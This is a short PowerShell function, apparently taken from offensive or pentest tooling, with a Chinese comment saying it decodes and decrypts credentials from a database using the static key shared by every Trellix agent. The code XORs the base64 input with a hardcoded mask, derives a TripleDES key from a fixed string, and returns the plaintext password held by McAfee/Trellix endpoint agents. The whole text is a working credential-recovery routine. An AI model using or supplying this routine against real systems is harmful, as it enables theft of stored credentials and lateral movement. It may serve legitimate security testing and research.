1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
# 使用每个Trellix代理使用的静态密钥对数据库中找到的凭证进行解码和解密的函数
function Invoke-McAfeeDecrypt {
param([string]$B64)
[byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,
0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
[byte[]]$buf = [Convert]::FromBase64String($B64.Trim())
for ($i = 0; $i -lt $buf.Length; $i++) {
$buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length]
}
$sha = [System.Security.Cryptography.SHA1]::Create()
[byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes("<!@#$%^>")) + (0..3 | ForEach-Object { 0 })
$tdes = [System.Security.Cryptography.TripleDES]::Create()
$tdes.Mode = 'ECB'
$tdes.Padding = 'None'
$tdes.Key = $key
[byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length)
$i = 0
while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) {
$i++
}
if ($i -eq 0) { return '' }
[Text.Encoding]::UTF8.GetString($plain, 0, $i)
}
|